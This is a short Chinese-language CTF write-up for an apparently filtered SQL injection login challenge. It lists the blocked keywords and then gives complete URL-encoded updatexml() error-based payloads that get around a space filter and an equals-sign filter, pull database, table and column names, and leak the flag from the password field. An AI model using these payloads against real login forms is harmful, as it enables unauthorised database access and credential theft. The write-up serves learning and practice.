抓包看看都过滤了些什么?
长度为784的为过滤字段,过滤了很多,例如空格,sleep,insert,--+,<>,and,等于号,by,union,/**/等等
在测试引号的时候存在报错,有关函数updatexml()和extractvalue()
所以尝试报错注入并且过滤了空格使用()闭合子查询绕过
括号是用来包围子查询的。因此,任何可以计算出结果的语句,都可以用括号包围起来。
本文使用updatexml()
暴库
username=1%27or(updatexml(1,concat(0x7e,database(),0x7e),1))%23&password=1
爆表
username=1%27or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1))%23&password=1
因为等号过滤了要使用like 进行绕过
爆字段
username=1%27or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_schema)like(database())),0x7e),1))%23&password=1
爆flag
username=1%27or(updatexml(1,concat(0x7e,(select(group_concat(password))from(H4rDsq1)),0x7e),1))%23&password=1
发现受到updatexml() 函数和extractvalue()的报错内容长度不能超过 32 个字符,当我们查询的内容较短时可以完整显示,若查询内容较长,则导致我们要查询的的内容显示不全。
substring被过滤 limit被空格过滤收到使用影响
所以使用right,left,min函数
group_concat((right(password,25)))
拼接完成